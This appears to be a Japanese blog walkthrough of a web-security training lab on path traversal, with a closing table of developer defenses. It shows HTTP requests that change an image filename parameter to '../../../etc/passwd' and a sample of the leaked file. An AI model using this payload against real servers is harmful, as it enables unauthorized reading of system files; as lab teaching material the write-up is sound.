Shikata Ga Nai

Private? There is no such things.

LAB: パストラバーサル脆弱性(シンプルケース)攻略解説

Hello there, ('ω')ノ

🎯 ラボの目的

このラボでは、商品画像表示機能にパストラバーサル脆弱性が存在します。 攻撃者は画像ファイルのパス指定を改ざんすることで、 サーバー上の任意ファイルを読み取ることができます。

目標は /etc/passwd を取得し提出することです。


✅ 攻略手順


1️⃣ 商品画像取得リクエストをBurpでキャプチャ

例:

GET /loadImage?filename=218.png HTTP/1.1
Host: <LAB-ID>.web-security-academy.net

2️⃣ パラメータを改ざん

filename=218.pngfilename=../../../etc/passwd に変更

GET /loadImage?filename=../../../etc/passwd HTTP/1.1
Host: <LAB-ID>.web-security-academy.net

3️⃣ リクエスト送信

  • Repeater で Send ボタンを押す
  • レスポンス内に Linuxサーバーのユーザー情報ファイル /etc/passwd が含まれる

    • 例:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

4️⃣ 解答提出

  • 抜き出した /etc/passwd の内容をラボ画面の Submit solution ボタンから提出
  • ラボクリア🎉

✅ この攻撃の本質ポイント

攻撃条件 説明
ユーザー入力 filename をファイルパスとして直接使用 ../ により意図しないディレクトリ移動が可能
サーバー側で ../ を除去・正規化していない パストラバーサル成立
相対パス指定が許可されている ../../../etc/passwd でrootまで移動可能

✅ 開発者向け防御策

防御策 説明
絶対パスのチェック realpath()/var/www/images/ 配下であることを確認
入力値検証 ../%2e%2e%2f をすべて除去
ファイルIDやハッシュに変換 直接ファイル名をユーザー入力から取得しない

✅ まとめ

「ファイルパスに外部からの値を直接渡す」 この構造が最大の盲点です。

  • たった1行のURL改ざんでサーバーファイル読み取りが成立
  • 実際の脆弱なサイトでも 非常に多く報告される超基本かつ危険な攻撃です

Best regards, (^^ゞ